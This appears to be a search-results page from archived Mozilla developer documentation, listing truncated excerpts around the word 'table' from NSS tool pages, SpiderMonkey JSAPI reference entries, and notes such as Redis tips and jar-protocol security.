only some of the lock functions were provided by the application. ckr_cant_lock: the ckf_os_locking_ok flag is not set in pinitargs->flags. the nss cryptographic module always uses os locking and doesn't know how to use the lock functions provided by the application. ckr_cryptoki_already_initialized: the library is already initialized. ckr_device_error we failed to create the oid
tables, random number generator, or internal locks. (note: we probably should return ckr_host_memory instead.) the software integrity test or power-up self-tests failed. the nss cryptographic module is in a fatal error state. ckr_host_memory: we ran out of memory. examples #include <assert.h> ck_function_list_ptr pfunctionlist; ck_rv crv; ck_c_initialize_args initargs; crv = fc_getfunctionl...
NSS_Initialize
ert db and key db's, just initialize the volatile certdb. nss_init_nomoddb - don't open the security module db, just initialize the pkcs #11 module. nss_init_forceopen - continue to force initializations even if the databases cannot be opened. nss_init_norootinit - don't try to look for the root certs module automatically. nss_init_optimizespace - optimize for space instead of speed. use smaller
tables and caches. nss_init_pk11threadsafe - only load pkcs#11 modules that are thread-safe, i.e., that support locking - either os locking or nss-provided locks . if a pkcs#11 module isn't thread-safe, don't serialize its calls; just don't load it instead. this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, the java...
NSS functions
mxr) link for each function provides access to the function definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
NSS tools : pk12util
ord based encryption with md2 and des cbc o pkcs #5 password based encryption with md5 and des cbc o pkcs #5 password based encryption with sha1 and des cbc with pkcs#12, the crypto provider may be the soft token module or an external hardware module. if the cryptographic module does not support the requested algorithm, then the next best fit will be selected (usually the default). if no sui
table replacement for the desired algorithm can be found, the tool returns the error no security module can perform the requested operation. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performan...
NSS tools : ssltab
from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, prin
table interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -...
NSS tools : ssltap
from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, prin
table interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -...
NSS Tools
the links for each tool take you to the source code, documentation, plans, and related links for each tool. the links will become active when information is available. currently, you must download the nss 3.1 source and build it to create binary files for the nss tools. ...
NSS Tools pk12util
d2 and des cbc" "pkcs #5 password based encryption with md5 and des cbc" "pkcs #5 password based encryption with sha1 and des cbc" it should be noted that the the crypto provider may be the softtoken module or an external hardware module. it may be the case that the cryptographic module does not support the requested algorithm and a best fit will be selected, likely to be the default. if no sui
table replacement for the desired algorithm can be found a "no security module can perform the requested operation" will appear on the error message. error codes pk12util can return the following values: 0 - no error 1 - user cancelled 2 - usage error 6 - nls init error 8 - certificate db open error 9 - key db open error 10 - file initialization error 11 - unicode conversion error 12 - temporary ...
NSS Tools sslstrength
a 'change-cipher-spec' handshake, changes to 128-bit encryption. this is only done in 'export mode', with servers with a special certificate. ...
NSS Tools ssltap
a sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: <-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, prin
table interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the ...
NSS tools : pk12util
cbc o pkcs #5 password based encryption with md5 and des cbc o pkcs #5 password based encryption with sha1 and des cbc with pkcs#12, the crypto provider may be the soft token module or an external hardware module. if the cryptographic module does not support the requested algorithm, then the next best fit will be selected (usually the default). if no sui
table replacement for the desired algorithm can be found, the tool returns the error no security module can perform the requested operation. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information ...
NSS tools : signtool
mation when you run the command with the -g option. however, all of the requested fields are optional for test certificates. if you do not enter a common name, the tool provides a default name. in the following example, the user input is in boldface: signtool -g mytestcert using certificate directory: /u/someuser/.netscape enter certificate information. all fields are optional. accep
table characters are numbers, letters, spaces, and apostrophes. certificate common name: test object signing certificate organization: netscape communications corp. organization unit: server products division state or province: california country (must be exactly 2 characters): us username: someuser email address: someuser@netscape.com enter password or pin for "communicator certificate db": [...
NSS tools : ssltap
the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, prin
table interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping ...
Network Security Services
testing - archived version ca certificates pre-loaded into nss mozilla ca certificate policy list of pre-loaded ca certificates consumers of this list must consider the trust bit setting for each included root certificate. more information, extracting roots and their trust bits nss is built on top of netscape por
table runtime (nspr) netscape por
table runtime nspr project page. nspr reference nspr api documentation. additional information using the window.crypto object from javascript delegation of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files ...
Necko FAQ
or to the necco candy is purely coincidental. what do i need to build this library? see the code section on the main page. currently you'd need to get the mozilla tree and at least build nspr, and xpcom. todo put links! how does psm fit into this picture? todo how does the proxy support work? todo what about proxy auto config? todo what about socks support? todo when is the next s
table release of this library going to be available? todo i'd like to use this library for my project. what licences apply? todo - mpl what do the page load options mean in the preferences? todo original document information author(s): gagan saksena last updated date: december 21, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributor...
Rhino JavaScript compiler
have a method matching public static void main(script sc, string[] args). -nosource does not save the source in the class file. functions and scripts compiled this way cannot be decompiled. this option can be used to avoid distributing source or simply to save space in the resulting class file. -o outputfile writes the class file to outputfile, which should end in .class and must be a wri
table filename. -d outputdirectory writes the class file to outputdirectory. -opt optlevel optimizes at level optlevel, which must be an integer between -1 and 9. see optimization for more details. if optlevel is greater than zero, -debug may not be specified. -package packagename specifies the package to generate the class into. the string packagename must be composed of valid identifier chara...
Shumway
ay extension (or run a browser version with shumway included and enabled) and browse to your flash content with adobe flash player set "ask to activate" or "never activate" in firefox's add-ons menu (this will be listed as "shockwave flash" under the plugins tab). this will be the experience met by your users who are running that version of shumway. hopefully, this displays your content with accep
table quality. the next step is to use the inspector included as one of shumway's examples. it can be run locally through a web server or you can use the version hosted on mozilla's github. several methods exist to allow inspector access to your swf file. once your flash content is loaded, you can see how shumway manages it in detail. several buttons are available at the bottom of the screen to enable...
Future directions
elism most machines that run spidermonkey have multiple cores, so parallelism is almost certainly part of our future. it will take some experimentation to build the right set of parallel facilities. during that experimentation, we must take care to apply parallelism with conceptual clarity and discipline. the api the spidermonkey api is c++. for the near future, we do not intend to provide a s
table api, because too many things are changing. also, we will someday want a more modern c++ api. going forward from now, the api will likely be semi-s
table, but there is no guarantee. the public api is gradually moving from jsapi.h and jsfriendapi.h into header files in js/public. much more cleanup and organization is still required. practical coding bits experimental language features new langua...
Functions
but note that objects of other classes can be callable and can even have typeof obj == "function".) script functions functions written in javascript and compiled to bytecode. there are four variations that affect how nameexpressions are evaluated. (nameexpressions are basic expressions like string and x that would eat up a huge amount of run time if the engine weren't smart enough to avoid symbol
table lookups.) general closures are the base case. when the function object is created, its parent is set to the first object on the scope chain. when a name is evaluated that doesn't refer to a local variable, the interpreter consults the scope chain to find the variable. when with or eval are used, we have to do this for correctness. this is slow, not only because walking the scope chain is a drag, ...
Statistics API
imes: object - a map from phase names to the total time taken by each phase: the sum of each field of the map from the slices. the last two fields require a bit of elaboration. gc work can be divided into phases, such as marking or sweeping. the division into phases is hierarchical, so a phase can be split into subphases. for example, the sweep phase includes the time for the sweep_atoms, sweep_
tables, sweep_compartments phases and so on. the times object gives how much time was spent in each phase of the gc, in milliseconds. additionally, an incremental gc is divided into a series of slices (the division into slices is completely separate from the division into phases; neither one is a refinment of the other). a little bit of gc work is done in each slice. in between slices, other browser c...
Garbage collection
om cs literature are not represented explicitly. see also: gray, below. gray spidermonkey instead uses "gray" to refer to objects that are not black, but are reachable from "gray roots". gray roots are used by the gecko cycle collector to find cycles that pass through the js heap. handle in our gc, a handle is a pointer that has elsewhere been registered by a root. in other words, it is an upda
table pointer to a gc thing (it is essentially a cell** that the gc knows about.) root a starting point to the gc graph traversal, a root is known to be alive for some external reason (one other than being reachable by some other part of the gc heap.) weak pointer in common cs terminology, a weak pointer is one that doesn't keep the pointed-to value live for gc purposes. typically, a weak pointer va...
Invariants
hese cases can be detected statically by looking for with and eval "nearby" in the parse tree.) if a nested function contains a nameexpression that refers to a variable in an enclosing scope which the function can outlive (i.e. the function can be called after control exits that enclosing scope) then upvar instructions cannot be used for that nameexpression. (wrong results or a potentially exploi
table crash. the upvar ops depend on a per-context display of currently active stack frames. once the enclosing stack frame is removed from the stack, and thus from the display, the upvar lookup will no longer work correctly and can crash or read off the end of a different stack frame.) ...
Self-hosted builtins in SpiderMonkey
eet the requirements for standard built-in functions as described in the ecmascript language specification 5.1, clause 15. to make a self-hosted function a constructor, call makeconstructible(functionname) after the function declaration. a prototype property can be added from the self-hosted code itself. all self-hosted functions have direct access to each other and can rely on references being s
table, i.e. not changeable by client js code. otoh, self-hosted code doesn't have access to most of the c++-implemented builtins. you can not, for example, use function.prototype.apply directly. a select set of c++-implemented builtins is installed via the intrinsic_functions array in selfhosting.cpp, as described below. using the same mechanism, c++-implemented helper functions are made available to ...
JIT Optimization Outcomes
fferent types of objects it could be accessed from. needstypebarrier optimization failed because somehow the property was accessed in a way that returned a different type than the expected constant. this is an unlikely failure mode, and should not occur. indictionarymode the object whose property is being accessed is in dictionary mode. objects which are used in ways that suggest they are hash
tables are turned into dictionary objects and their types marked as such. noprotofound a prototype object was not found for all the object used by this operation. multiprotopaths objects used in this operation had differing prototypes. nonwri
tableproperty the property being assigned to is not wri
table for some types of objects which are used in this operation. protoindexedprops the object being...
JSAPI User Guide
st call js_set_rval and return true. the value passed to js_set_rval is returned to the javascript caller. on failure, a jsnative calls an error-reporting function, in this case js_reporterror, and returns false. this causes a javascript exception to be thrown. the caller can catch the exception using a javascript try/catch statement. to make native functions callable from javascript, declare a
table of jsfunctionspecs describing the functions. then call js_definefunctions. static jsfunctionspec myjs_global_functions[] = { js_fs("rand", myjs_rand, 0, 0), js_fs("srand", myjs_srand, 0, 0), js_fs("system", myjs_system, 1, 0), js_fs_end }; ... if (!js_definefunctions(cx, global, myjs_global_functions)) return false; ... once the functions are defined ...
JS::Add*Root
tected from garbage collection. if the variable points to an object, then any memory reachable from its properties is automatically protected from garbage collection, too. an entry for rp is added to the garbage collector's root set for the jsruntime associated with cx (or, in js::addnamedvaluerootrt, the runtime rt). the name parameter, if present and non-null, is stored in the jsruntime's root
table entry along with rp. the name string's lifetime must last at least until the balancing call to js::remove*root. typically name is a static string constant, identifying the source location of the call to js::addnamed*root for debugging purposes. needs the example for typical usage of the name parameter. all the js::add*root methods are idempotent: multiple calls for the same address will add onl...
JS::AutoVectorRooter
void popback() pops an element from the array. t popcopy() pops an element from the array and returns it. bool growby(size_t inc) grows the array by inc. bool resize(size_t newlength) resizes the array to newlength. void clear() clears all elements. bool reserve(size_t newlength) reserves the array with newlength. js::mu
tablehandle<t> operator[](size_t i) returns to the i-th element as js::mu
tablehandle<t>. js::handle<t> operator[](size_t i) const returns to the i-th element as js::handle<t>. const t *begin() const returns a pointer to the first element. t *begin() returns a pointer to the first element. const t *end() const returns a pointer to the elemen...
JS::Construct
this article covers features introduced in spidermonkey 38 call a specified js constructor. syntax bool js::construct(jscontext *cx, js::handlevalue fun, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fun js::handlevalue pointer to the function to call. should be a native function or jsapi-compiled function.. args js::handlevaluearray & arguments you are passing to the function. rval js::mu
tablehandlevalue out parameter. on success, *rval receives the newly cr...
JS::Handle
l*> handlesymbol; // added in spidermonkey 38 typedef handle<value> handlevalue; } see also mxr id search for js::handle mxr id search for js::handlefunction mxr id search for js::handleid mxr id search for js::handleobject mxr id search for js::handlescript mxr id search for js::handlestring mxr id search for js::handlesymbol mxr id search for js::handlevalue js::rooted js::mu
tablehandle gc rooting guide bug 714647 bug 761391 - added js::handlescript bug 645416 - added js::handlesymbol ...
JS::OrdinaryToPrimitive
this article covers features introduced in spidermonkey 38 convert an ordinary object to a primitive value. syntax bool js::ordinarytoprimitive(jscontext *cx, js::handleobject obj, jstype type, js::mu
tablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to convert. type jstype the type of converted value. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the converted value. description js::ordinarytoprimitive converts a javascript object to a specified type value, by the algorithm s...
JS::Rooted
typedef rooted<jsid> rootedid; typedef rooted<js::value> rootedvalue; } see also mxr id search for js::rooted mxr id search for js::rootedobject mxr id search for js::rootedfunction mxr id search for js::rootedscript mxr id search for js::rootedstring mxr id search for js::rootedsymbol mxr id search for js::rootedid mxr id search for js::rootedvalue js::handle js::mu
tablehandle gc rooting guide bug 756823 bug 761391 - added js::rootedscript bug 645416 - added js::rootedsymbol ...
JSConvertOp
jsconvertop is the type of jsclass.convert. syntax typedef bool (* jsconvertop)(jscontext *cx, js::handleobject obj, jstype type, js::mu
tablehandlevalue vp); name type description cx jscontext * the context in which the convert is taking place. obj js::handleobject the object to be converted. hint jstype the hint to pass to the [[defaultvalue]] hook when converting the object. hint will be jstype_string or jstype_number to pass the corresponding type as a hint, or jstype_void to pass no hint. other types may be passed as hints, but such behavior is deprecated. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the converted value. description jsconvertop callback specifies co...
JSFUN_GLOBAL_PARENT
obsolete since javascript 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this macro is not provided in any s
table spidermonkey releases. syntax jsfun_global_parent see also jsfun_bound_method ...
JSGetObjectOps
ctops, see jsobj.c) ops. further extension to preserve api compatibility: if this function returns a pointer to jsxmlobjectops.base, not to jsobjectops, then the engine calls extended hooks needed for e4x. jsclass hooks jsclass offerd following hook: the jsclass.getobjectops hook is called each time an object is created. it returns a pointer to a jsobjectops which is then used as a virtual
table for operations on the new object. see also mxr id search for jshasinstanceop jsclass js_hasinstance bug 571789 ...
JSObjectPrincipalsFinder
caller has access to that object. the two debugger functions js_stackframeprincipals and js_evalframeprincipals also use this callback. since it is very common for jsobjectops.checkaccess or jsclass.checkaccess hooks to call these functions, the object principals finder callback is a key security feature. the callback returns a pointer to the principals associated with obj, possibly via the immu
table parent chain leading from obj to a top-level container (such as a window object in the dom). if there are no principals associated with obj, return null. therefore null does not mean an error was reported; in no event should an error be reported or an exception be thrown by this callback's implementation. the callback should not call jsprincipals_hold. see also bug 784551 ...
JS_AddExternalStringFinalizer
ot keep a reference to this jsstring, as its memory is about to be freed. description add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str). returns a nonnegative type index if there is room for finalizer in the global gc finalizers
table, else returns -1. in a js_threadsafe build, this function must be invoked on the primordial thread only, at startup—or else the entire program must single-thread itself while loading a module that calls this function. to remove an external string finalizer, use js_removeexternalstringfinalizer. see also js_removeexternalstringfinalizer bug 724810 ...
JS_Add*Root
ngroot. do not pass a pointer to a js string or object to any of these functions—rp must point to a variable, the location of the pointer itself, and not an object or string. an entry for rp is added to the garbage collector's root set for the jsruntime associated with cx (or, in js_addnamedrootrt, the runtime rt). the name parameter, if present and non-null, is stored in the jsruntime's root
table entry along with rp. the name string's lifetime must last at least until the balancing call to js_removeroot. typically name is a static string constant, identifying the source location of the call to js_addnamedroot for debugging purposes. js_dumpnamedroots can be used to access this information from a debugger. all the js_add*root methods are idempotent: multiple calls for the same address wil...
JS_DecompileFunction
escription js_decompilefunction generates the complete source code of a function declaration from a function's compiled form, fun. if successful, js_decompilefunction returns a string containing the text of the function. otherwise, it returns null. if you decompile a function that does not make a native c call, then the text created by js_decompilefunction is a complete function declaration sui
table for re-parsing. if you decompile a function that makes a native c call, the body of the function contains the text "native code'" and cannot be re-parsed. see also mxr id search for js_decompilefunction js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_n...
JS_DecompileFunctionBody
description js_decompilefunctionbody generates the source code of a function's body, minus the function keyword, name, parameters, and braces, from a function's compiled form, fun. if successful, js_decompilefunctionbody returns a string containing the source code of the function body. otherwise, it returns null. the source code generated by this function is accurate but unadorned and is not sui
table for recompilation without providing the function's declaration. if you decompile a function that makes a native c call, the body of the function only contains the text "[native code]". notes to decompile a complete function, including its body and declaration, call js_decompilefunction instead. see also mxr id search for js_decompilefunctionbody js_decompilescript js_callfunction js_callfunc...
JS_DumpNamedRoots
const char *, void *, void *) pointer to function that actually dumps the named roots. this may not be null. data void * a pointer that is passed to dump each time it is called. the javascript engine does not read from or write to this pointer at all. it is passed to the dump function unchanged. it may be null. description each call to js_addnamedroot creates a record in a
table of named roots maintained by the garbage collector. js_dumpnamedroots provides a way for the application to access the contents of that
table. it calls the dump function once for each named root in the given runtime rt. in pseudocode: /* pseudocode explanation of what js_dumpnamedroots does */ void js_dumpnamedroots(jsruntime *rt, dumpfn dump, void *data) { for each (root in rt->namedroots) ...
JS_EnumerateStandardClasses
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject an object to enumerate standard classes. ...
JS_FileEscapedString
with escaping. syntax bool js_fileescapedstring(file *fp, jsstring *str, char quote); name type description fp file * a file pointer to write into. str jsstring * a string to write into the file. quote char one of 0, single quote, and double quote. description js_fileescapedstring writes str into file fp escaping any non-prin
table or non-ascii character. if quote is not 0, it must be a single or double quote character that will quote the output. if successful, js_fileescapedstring returns true, otherwise false. see also mxr id search for js_fileescapedstring bug 609440 ...
JS_GetElement
find a specified numeric property of an object and return its current value. syntax bool js_getelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mu
tablehandlevalue vp); name type description cx jscontext * the context in which to perform the property lookup. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the element. index uint32_t index of the element to look up. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the current value of the element, if it exists, and undefined otherwise. description js_getelement examines a specified js object, obj, and its prototype ...
JS_GetPositiveInfinityValue
ontext *cx); name type description cx jscontext * a context. description js_getpositiveinfinityvalue returns a js::value that represents an ieee floating-point positive infinity. js_getnegativeinfinityvalue returns the corresponding negative infinity. infinities are typically used to represent numbers that are greater in magnitude than the greatest represen
table finite values. as a value in mathematical calculations, an infinite value behaves like infinity. for example, any nonzero value multiplied by infinity is infinity with the expected sign, and any finite value divided by infinity is zero (again with the expected sign). to get a floating-point nan, use js_getnanvalue. see also mxr id search for js_getpositiveinfinityvalue mxr id search for js_...
JS_GetTypeName
ype); name type description cx jscontext * pointer to a js context from which to derive runtime information. type jstype one of jstype_void, jstype_object, jstype_function, jstype_string, jstype_number, or jstype_boolean. description js_gettypename returns a pointer to a string literal description of a specified js data type, type. ...
JS_GetVersion
syntax jsversion js_getversion(jscontext *cx); name type description cx jscontext * the context to query. description js_getversion returns the javascript version currently used by the given jscontext, cx. the result is one of the jsversion constants. when a context is created, its version is initially jsversion_default. scripts are compiled using the latest version of the javascript language. to configure a context to run scripts using a specific version of javascript, use js_setversion. ...
JS_InitStandardClasses
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_InternString
tring and js_internucstring, the string must be null-terminated. length size_t (only in js_internstringn and js_internucstringn) the length of s in characters. description js_internstring and js_internstringn return an interned javascript string with a specified value, s. js_internucstring and js_internucstringn are the unicode versions of the function. each jsruntime keeps a
table of all existing interned strings. if an interned string already exists with the desired value, these functions return the existing string. otherwise a new string is created and added to the
table. strings created with these functions are protected from garbage collection for the lifetime of the jsruntime. on success, these functions return a pointer to the interned string. otherwise they report a...
JS_LockGCThing
g); name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. rt jsruntime * a runtime. thing void * pointer to the item to protect. description js_lockgcthing is a deprecated function that protects a specified item, thing, associated with an execu
table script context, cx, from garbage collection. thing is a pointer to a jsdouble, jsstring, or jsobject. js_unlockgcthing removes a lock from a specified item, thing, allowing it to be garbage collected when the javascript engine determines it is unreachable. js_lockgcthing and js_unlockgcthing are available only for backward compatibility with existing applications. use js_addroot and js_removeroot...
JS_LookupElement
obsolete since jsapi 37this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. determine if a specified numeric property exists. syntax bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mu
tablehandlevalue vp); name type description cx jscontext * the context in which to look up the property. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search. index uint32_t the numeric id of the property to look up. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the stored value of...
JS_MaybeGC
s. in both cases, frequent calls js_maybegc are safe and will not cause the application to spend a lot of time doing redundant garbage collection work. implementation note: spidermonkey 1.8 and earlier determine whether garbage collection is appropriate by analyzing statistics about the gc heap and memory usage since the last garbage collection cycle. the analysis is simplistic but produces accep
table performance for many applications. in some applications, js_maybegc collects more often than it should for ideal performance. such applications can benefit from implementing their own custom-tuned maybe-gc function that conditionally calls js_gc on the basis of some application-specific analysis, and using that instead of js_maybegc. to perform a full garbage collection unconditionally, use js_g...
JS_NextProperty
obsolete since jsapi 36this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. get the next property id from an iterator object produced by js_newpropertyiterator. syntax bool js_nextproperty(jscontext *cx, js::handleobject iterobj, js::mu
tablehandleid idp); name type description cx jscontext * the js context in which to enumerate properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. iterobj js::handleobject the opaque iterator object returned by a previous call to js_newpropertyiterator. idp js::mu
tablehandleid out parameter. on success, *idp receives the name or index of the ne...
JS_PutEscapedString
on this jscontext. buffer char * a pointer to char buffer to write into. size size_t the size of buffer in bytes. str jsstring * or jsflatstring * a string to write into the file. quote char one of 0, single quote, and double quote. description js_putescapedstring and js_putescapedstring write str into buffer escaping any non-prin
table or non-ascii character using \escapes for js string literals. guarantees that a nul is at the end of the buffer unless size is 0. returns the length of the written output, not including the nul. thus, a return value of size or more means that the output was truncated. if buffer is null, just returns the length of the output. if quote is not 0, it must be a single or double quote character that wi...
JS_RemoveExternalStringFinalizer
n some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. unregister a custom string memory manager. syntax int js_removeexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop the finalizer to remove. description remove finalizer from the global gc finalizers
table, returning its type code if found, -1 if not found. as with js_addexternalstringfinalizer, there is a threading restriction if you compile the engine js_threadsafe: this function may be called for a given finalizer pointer on only one thread; different threads may call to remove distinct finalizers safely. you must ensure that all strings with finalizer's type have been collected before calling...
JS_RemoveRootRT
removes the gc thing that rp points to from the list of gc things that are protected from garbage collection. rp is thus a pointer to a pointer to a js double, string, or object. do not pass a pointer to a js double, string, or object -- you must pass a pointer to a pointer or a pointer to a jsval that's a gc thing. the entry for the gc thing rp points to is removed in the garbage collection hash
table for the specified runtime, rt. js_removerootrt always returns js_true. see also mxr id search for js_removeroot jsval_is_gcthing js_addroot js_addnamedroot js_addnamedrootrt js_dumpnamedroots, js_removeroot ...
JS_ResolveStandardClass
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject an object to resolve id to a standard class. ...
JS_SetGCZeal
frequency nursery allocations. 8 incremental gc in two slices: 1) mark roots 2) finish collection. 9 incremental gc in two slices: 1) mark all 2) new marking and finish. 10 incremental gc in multiple slices. 11 verify post write barriers between instructions. 12 verify post write barriers between paints. 13 check internal hash
tables on minor gc. 14 perform a shrinking collection every frequency allocations. with gc zeal enabled, gc-related crashes are much easier to reproduce (they happen more reliably) and debug (they happen sooner, closer to the source of the bug). the drawback is that gc zeal can cause javascript code to run extremely slowly. regularly running your test suite with gc zeal enabled at lev...
JS_SetOptions
the flags. to turn individual options on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants from the following
table: option description jsoption_extra_warnings warn on dubious practice. mxr id search for jsoption_extra_warnings jsoption_werror convert warnings to errors. mxr id search for jsoption_werror jsoption_varobjfix make js_evaluatescript() use the last object on its obj param's scope chain (that is...
JS_SetVersion
vascript language. syntax jsversion js_setversion(jscontext *cx, jsversion version); name type description cx jscontext * pointer to a js context from which to derive runtime information. version jsversion version of javascript to set context to. description js_setversion attempts to set the version of javascript to version for a specified execu
table script context, cx. the version comes from the jsversion enumerated type. js_setversion returns the js version in effect for the context before you changed it. see also mxr id search for js_setversion jsversion js_getversion js_versiontostring js_stringtoversion bug 880917 ...
Profiling SpiderMonkey
u can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for linux, there are global jprof functions available. see the documentation on the --enable-jprof mozconfig option. we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind. when we have js scrip
table profiling options available for all tier 1 platforms, we'll look at adding global start/stop profiling functions. if you'd like to profile something at a higher level of detail than the js shark functions allow, there are corresponding c functions available at the bottom of jsdbgapi.h. costs of thread safety currently, threadsafe spidermonkey costs us 10-15% on some benchmarks vs. a non-threadsaf...
SpiderMonkey 1.8.5
oning scheme. this versioning scheme will not be rolled back into the upstream mozilla source tree(s), and may not be used in future source releases. comments in bug 628723 with regard to its usefulness are appreciated. bugs with the source release tar ball should be copied to wes@page.ca. spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tinyids js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to...
SpiderMonkey 1.8.7
oning scheme. this versioning scheme will not be rolled back into the upstream mozilla source tree(s), and may not be used in future source releases. comments in bug 628723 with regard to its usefulness are appreciated. bugs with the source release tar ball should be copied to wes@page.ca. spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tinyids js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to...
Running Automated JavaScript Tests
want to run like this to skip the slow tests and cover the most important options: jit_test.py --no-slow path_to_js_shell you can select specific tests to run in the same way as the jstests shell harness. most of the options in the jstests harness are also available for this one, but a few have different names. use -h to see all the options. the --jitflags option allows you to test the js execu
table with different flags. the flags are used to control which features are run, such as which jits are enabled and how quickly they will kick in. the valid options are named bundles like 'all', 'interp', 'none', etc. see the full list in the -h / --help output. one helpful option specific to jit-tests is -r filename (or --retest filename). the first time this is run, it runs the suite and writes a l...
TPS Tests
n particular, it will set preferences from the "preferences" property, and so you can set the "identity.fxaccounts.autoconfig.uri" preference to point to any fxa server you want. for example, a (partial) tps config for testing against stage might look like: { // ... "fx_account": { "username": "foobar@restmail.net", "password": "hunter2" }, "preferences": { // use "https://s
table.dev.lcip.org" for dev instead of stage "identity.fxaccounts.autoconfig.uri": "https://accounts.stage.mozaws.net" // possibly more preferences... }, // ... } note that in this example, the foobar@restmail.net account must be registered on stage, otherwise authentication will fail (and the whole test will fail as well. you can sign up for an fxa account on stage or dev by creating an ...
Redis Tips
cts. so rather than thinking about redis as a database with some kind of non-existent relationship to sql, think of it as a data structure server with a rich set of commands for querying and manipulating those data structures over a network connection. redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this
table lists some common programming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc. counters set, incr, incrby list manipulation lpush, rpush, lpop, rpop, llen, linsert, lindex, etc. event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.
Security and the jar protocol
is means that no matter what the file's real contents are, as far as firefox is concerned, it was a zip archive. this ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like zip archives. however, if a site allows file uploads, zip files are typically treated as relatively innocuous by web sites in that situation, since they're not execu
table. unless, of course, the browser thinks it's a jar file. so starting with gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the mime type of the file is application/java-archive. a site that serves a file with that type is essentially promising that it has vetted the content and that it is in fact safe to download and execute. any other file type results in an "unsafe file type" ...
Signing Mozilla apps for Mac OS X
